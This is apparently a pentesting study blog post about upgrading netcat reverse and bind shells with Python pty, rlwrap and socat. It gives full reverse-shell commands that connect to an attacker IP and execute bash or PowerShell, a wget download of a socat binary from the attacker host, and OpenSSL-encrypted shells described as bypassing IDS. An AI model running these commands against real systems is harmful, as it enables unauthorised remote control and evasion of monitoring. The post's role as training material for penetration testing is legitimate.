What the Shell?
May 18, 2025Stabilizing Netcat Reverse/Bind Shells
Netcat shells are inherently unstable: non-interactive, no arrow keys/tab completion, weird formatting, and Ctrl+C kills the entire session. Here are the three main techniques to upgrade them into proper, usable shells:
Technique 1: Python Pty (Linux only – most common & reliable)
A 3-step process to get a nearly fully interactive Bash shell:
python -c 'import pty; pty.spawn("/bin/bash")'
(orpython3/python2if needed) → spawns a better bashexport TERM=xterm→ enables commands likeclear- Press Ctrl+Z (backgrounds the shell) → in your local terminal run:
stty raw -echo; fg→ re-enters the shell with full interactivity (arrow keys, tab completion, Ctrl+C works normally)
Tip: If the shell dies afterward, your local terminal will be messed up (no echo). Just type reset and press Enter blindly to fix it.
Technique 2: rlwrap (Best for quick stabilization, works on both Linux & Windows)
- Install once on your attacker machine:
sudo apt install rlwrap - Start your listener with rlwrap prepended:
rlwrap nc -lvnp <port>
Instantly gives you:
- Arrow keys
- Tab autocompletion
- Command history
For full Ctrl+C functionality on Linux, still do the Ctrl+Z → stty raw -echo; fg trick afterward.
Extremely useful for Windows reverse shells where other methods barely work.
Technique 3: Socat (Fully stable TTY – Linux only)
Use the initial netcat shell as a stepping stone to download and run a static socat binary:
- Host the static socat binary on your attacker machine (e.g.,
python3 -m http.server 80) - On target (via netcat shell):
wget http://<your-ip>/socat -O /tmp/socatorcurl ... - Later you’ll catch a proper socat reverse shell (covered in upcoming tasks)
Result: A true PTY with perfect stability (better than netcat or even Python method).
Bonus: Fix terminal size for tools like vim/nano
Reverse shells don’t know your real terminal dimensions → editors look broken.
Fix:
- In a new local terminal:
stty -a→ note downrowsandcolumns - In the remote shell:
stty rows <rows> cols <columns>
Do this after any stabilization method when you plan to use full-screen TUI apps.
Quick Reference Cheat Sheet
- Linux, best all-round → Python pty method
- Need it fast or on Windows → rlwrap listener
- Want the absolute best possible shell (Linux) → Upgrade to socat
- Always fix tty size with
stty rows X cols Ywhen needed
These three techniques cover 99% of real-world netcat shell stabilization scenarios in pentesting.
Socat Cheat Sheet – Everything You Need for Stable & Encrypted Shells
Basic (Unstable) Shells – Similar to Netcat
| Shell Type | Listener (Attacker) | Target Command (to send shell) |
|---|---|---|
| Reverse (Linux/Windows) | socat TCP-L:<port> - | socat TCP:<attacker-ip>:<port> EXEC:powershell.exe,pipes (Win)socat TCP:<attacker-ip>:<port> EXEC:"bash -li" (Linux) |
| Bind (Linux/Windows) | socat TCP:<target-ip>:<port> - | socat TCP-L:<port> EXEC:"bash -li" (Linux)socat TCP-L:<port> EXEC:powershell.exe,pipes (Win) |
These are still unstable (no Ctrl+C, no arrow keys, etc.).
Fully Stable Linux TTY Reverse Shell (The Holy Grail)
Attacker listener (run this first):
| |
Target (run this from your existing netcat shell – socat must exist on target):
| |
Result → Instant, fully stable TTY:
- Real PTY
- Arrow keys + tab completion
- Ctrl+C works normally
sudo,ssh,vim,nanoall work perfectly- Fix screen size if needed:
stty rows <rows> cols <cols>
Tip: Most targets don’t have socat → upload a static compiled socat binary first (same method as previous task).
Encrypted Shells (Bypass IDS + No Sniffing)
- Generate certificate (once, on attacker):
| |
Encrypted Reverse Shell (Linux example)
- Attacker listener:
1socat OPENSSL-LISTEN:<port>,cert=shell.pem,verify=0 - - Target:
1socat OPENSSL:<attacker-ip>:<port>,verify=0 EXEC:"/bin/bash"
- Attacker listener:
Encrypted Fully Stable TTY Reverse Shell (Linux only)
- Attacker listener:
1socat OPENSSL-LISTEN:<port>,cert=shell.pem,verify=0 FILE:`tty`,raw,echo=0 - Target:
1socat OPENSSL:<attacker-ip>:<port>,verify=0 EXEC:"bash -li",pty,stderr,sigint,setsid,sane
- Attacker listener:
Key points:
- Certificate (
.pem) is always used on the listener side verify=0→ don’t check if cert is trusted (required for self-signed)- Works for bind shells too (just move the cert to the target for bind)
Debugging Socat
Add -d -d to either side for verbose output:
| |
TL;DR – Best Choices in Practice
| Goal | Command (Attacker → Target) |
|---|---|
| Quick & dirty (any OS) | socat TCP-L:port - |
| Stable Linux shell | Stable TTY version above |
| Encrypted stable Linux shell | OPENSSL stable TTY version |
| Windows shell (best you can get) | rlwrap + netcat (socat not much better on Win) |
That’s it — with these, you’ll never suffer a crappy netcat shell again!